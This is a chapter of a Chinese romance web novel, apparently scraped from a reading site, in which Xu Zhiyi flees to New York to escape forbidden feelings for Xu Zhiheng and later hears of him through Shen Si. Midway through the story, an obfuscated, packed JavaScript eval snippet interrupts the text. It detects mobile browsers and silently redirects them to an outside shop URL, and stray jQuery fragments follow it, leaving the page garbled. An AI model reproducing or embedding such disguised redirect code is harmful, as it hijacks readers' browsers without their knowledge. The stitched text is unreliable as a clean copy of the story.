开什么玩笑。


    刚收起来的行李箱重新拉出摊开,徐知懿颤抖着,依靠着本能胡乱往行李箱里扔东西。


    什么叫离不开她。


    什么叫就是你想的那样。


    徐知懿像中了什么魔咒,每想到这两句话就双腿发软,想要失声尖叫,又控制不住自己不去想。


    不管是什么意思,她都不能再在这个地方待下去了。


    这种事发生的概率有多大。


    喜欢的人也恰好喜欢你的概率有多大,而这两个人又是绝对不能相爱的概率又有多大。


    徐知懿感觉像自己不能呼吸了,她脚步轻飘飘地穿梭于几个房间之间搜寻必需品。


    孟杨追了上来,只有她。


    “知知,知知。”她抱住机械性忙碌的徐知懿,拍着她的后背安慰:“冷静,冷静一点好吗?”


    “孟杨,”她语气麻木:“我够了,我要走,我想离开这个地方。”


    “好,我们走,但你冷静一点好吗?我帮你收拾。”


    “我不该留下来的,妈妈走的时候我就应该也跟着搬到外婆家,我不该留下来的。”


    “说不定是误会呢,你不要想太多,这不是你的错。”


    “他是什么意思重要吗?他随便一句话就让我恐惧,让我坐立不安,但是我心思不单纯,我活该。我走还不行吗?”


    徐之珩想跟着上来,但他不知道要怎么面对这一切,于是坐在楼梯拐角后,这些话他听得清清楚楚。


    他的指尖发颤,想起了一些很久之前产生,最后又不了了之的疑问。


    在猫狗咖啡的时候,她说,发现搬进来是你的时候,这辈子从来没有这么希望一个人消失。


    在摄影展的时候,握她手后,她神情恍惚。


    在看完检测报告之后,逃离。


    还有在山崖上,她说,我有罪。


    徐之珩低着头,眼神动荡,呼吸越来越急促,手心渗出一层细密的汗珠。


    不可能,这不可能吧。


    她在什么都不知道的情况下怎么可能……


    她要承受多大的心理压力。


    毁天灭地的喜悦和刻骨铭心的痛苦交织,两种情绪在灵魂深处撕扯,几乎要将他毁灭。


    徐之珩,你的懦弱要她蒙受多大的痛苦与委屈。


    你该死的,你知道吗?


    他脑海中只剩一个想法。


    离开徐家。


    不管韩若云想干什么,他只要堂堂正正地离开徐家。


    -


    徐知懿离开的原因,两人心照不宣。


    徐之珩想要阻拦,却没有任何立场和脸面。


    她在外婆家过完了春节,又搬去郑文瑾的房子里过渡了一段时间。


    所有手续和材料准备好,立刻买了最近的一班飞机。


    飞机起飞之前,她收到了徐之珩发来的信息。


    只有两句话。


    我不喜欢沈思。


    一路平安。


    她看着这两行字,鼻子莫名开始发酸。


    如果他不是徐之珩就好了。


    可如果他不是,他们也根本不会相遇。


    这道无解的难题循环往复,算来算去,只得出一个结果,那就是报应。如果不是想要报复他们母子,她也不会留下来,这是老天给的惩罚和报应。


    是什么都不重要了,一切都要在今天结束。


    她深呼吸,眨着眼睛清理有些朦胧的视线,动动手指点到徐之珩的头像,找到了“删除联系人”选项。


    “不好意思女士,飞机就要起飞了,麻烦您关闭手机哦。”乘务员出现,轻声提醒,她指尖一顿。


    “好的抱歉,稍等我马上。”


    “请您配合我们的工作哦。”


    在乘务员催促的笑容中,她手指离开屏幕按向了关机键。


    “谢谢您的配合。”


    飞机滑向跑道,加速,爬升。


    北城变成了身后的一点,越来越远,直到被云层遮蔽,彻底不见。


    到纽约的前几个月,只有她一个人。


    在完全陌生的异国他乡,徐知懿有好多事情要做,空荡荡的公寓,和不怎么熟悉的锅碗瓢盆磨合到傍晚,再和怎么都组装不好的桌椅板凳奋斗到半夜。偶尔想起徐之珩,又马上被冒出来的琐事打断。


    她慢慢打理好自己的住所,一点点填满冰箱,终于静下来的时候,记忆反扑。她在深夜翻看着相册里的照片,酸涩,逃避,懊恼,全部删除清空,又在下一次情绪来临时后悔。什么都不剩了,她呆坐在黑暗的房间里,看着窗外昂贵的纽约夜景。


    觉得自己渺小而又肮脏。


    没有多久后,代明旭也来了。


    他一直知道徐知懿很爱帮助别人,但这段时间她好像真的有点亢奋过头了。


    他们住得不远,徐知懿上门和他一起打扫公寓卫生,带他去逛家具店,给他介绍附近的超市和中餐馆,甚至主动帮他组装家具。


    代明旭的公寓是顶层复式,没有那么好收拾。他想请人来做,但又享受和徐知懿每天待在一起一点点充实家里的感觉。


    徐知懿总是一副开心的样子,但又偶尔会盯着街边橱窗里的玩偶发呆。


    好像是在逼迫自己忙碌起来。


    代明旭知道她突然匆匆忙忙地跑来美国必然是有什么事情发生,而且大概率和徐之珩有关,他也有好几次都想说说自己的猜测,问问她到底知不知道什么,他们现在又是什么情况。


    但他都没有。


    他喜欢这种有人时时刻刻陪在身边,关心他的感觉。


    尽管都是假的。


    他怕说出来,她的心思就不在他身上了。


    如果没有徐知懿,他又何尝不是自己一个人孤零零地在这呢?


    “现在天气暖和了,明天我们去这个游乐园吧,在海边,感觉拍照好好看。”


    代明旭家里置办得差不多了,没再有需要徐知懿帮忙的地方,但她仍然闲不下来,要去游乐场玩。


    “好,明天我请,就当谢谢你这几天的帮忙了。”


    代明旭想,这里距离北城有10900公里,徐之珩又根本不知道她在哪,说了能如何,不说又能如何。


    都没意义。


    现在在徐知懿眼前和身边的人是我,这样就够了。


    第二天,一整天都顺利得不像话,徐知懿看起来高兴极了。但这天最后,落日的摩天轮上,他们坐到最高点,徐知懿眺望着远方蓝橙渐变的天空与大海接壤,一言不发。


    代明旭知道,她心里还是有事情。


    “徐知懿。”他说。


    “嗯?”


    “希望这几年我们可以好好相处。”


    “当然啦,我们不是一直都是好朋友吗?”她扯了扯嘴角。


    “到时候,如果你不讨厌我,我们还可以更进一步。”他毫无遮掩,一记直球。


    深蓝的暮色将橙红吞噬,轿厢在咸腥的海风中吱呀作响。她望着他认真的面庞,却想到了另一双无辜的眼睛。


    那是她第一次意识到。


    我无法靠近你,也无法靠近别人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187112|195562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你是深渊,而他人是荆棘。


    跳下深渊粉身碎骨,走入荆棘又是折磨痛苦,一边痛着又一边止不住地去想象,这漫长的煎熬和瞬间的毁灭相比,究竟哪个更难承受。


    大学第一年,不论放假与否,徐知懿一次都没有回国。她抓住一切野外拍摄的机会,四处奔走,试图像他人说的那样,用更大的世界稀释痛苦。


    她和孟杨一起建了一个叫“野生朋友圈”的公众号,整理发布了她拍摄的动植物和其他的一些科普文章。


    她们物质条件丰厚,足迹遍布世界各地,内容丰富新奇,很快就积累了一定的读者。


    即便这样忙碌,她还是忘不了。


    常说人会好了伤疤忘了疼,徐知懿不知道是自己的伤疤从来没好过,还是她根本就没忘。


    她一直是疼的。


    这一年,她还时常收到沈思发来的消息,关心她在那边吃得习不习惯,住得好不好。或是发一些图片视频,分享自己哪一门成绩很好,又拿到了什么奖项。


    偶尔,画面的角落里,她会看到那个熟悉的身影。


    每每此时,她都不敢多看,如惊弓之鸟般关掉视频,又忍不住安慰自己,天各一方的陌生人,偷偷看一眼没什么吧。


    又是一年春。


    沈思已经收到了四所学校的邮件,三所拒绝,一所候补。


    “唉,本身那些学校也不是努力一两年就能考上的,”电话那头的沈思勉强笑笑:“没关系啦,我语言成绩还蛮不错的,我都想好了,没有大学上我就找个培训机构工作。”


    “还没到最后呢,现在失望也太早了,不是还有候补的吗?”徐知懿希望她能有一个好结果。


    “但愿吧,徐之珩也已经拿到offer,和你一样在洛杉矶,我还期待能和你们在一起呢。”


    和沈思聊天,总能听到徐之珩的消息。


    她撒谎了,害怕徐之珩知道她在哪,又不能一直瞒着沈思,她撒谎说自己来了洛杉矶,是尽量远离自己的西部。


    “学姐,今年暑假你回国吗,会来毕业舞会玩吗?好久没见到你了。”


    “我应该,不会回去吧。”


    “这样啊,”沈思听起来有点失望:“其实还挺期待咱们学校毕业舞会的,以前只在电影里面见过。去工作的话,还不知道以后还会不会有这样的机会……”


    “但我又没什么认识的人,有点不好意思。徐之珩也是,有好多女生邀请他的,他都拒绝了。”


    “他不去吗?”


    “应该是不去,他没和你说吗?”


    “最近没怎么联系。”


    他不去。


    那……


    “你想去的话就去吧,如果我没什么事的话,就回去找你玩。”


    “真的?那我等你,一定要来啊。”


    沈思挂掉电话,又检查了一遍邮箱,还像上次打开时那样。


    她拿出手机,看了一眼自己账户里的钱,最终还是决定到购物软件上买一条裙子。


    春风吹过生机的前奏,紧接着夏日的蝉鸣奏响,徐知懿落地北城,没有告知任何人。


    她打了辆车回郑文瑾那,在车上收到沈思发来的信息,一条是毕业舞会的时间地点,还有一封邮件的截图。


    点开,还是拒绝。


    徐知懿的心落到谷底,现在已经是七月初了,希望渺茫。如果不是钱的问题,她大可以报一所比汇贤指定的学校排名稍微低一点的院校,一定会被录取。


    真不愿看到沈思这两年的努力,竟然换来这种结果。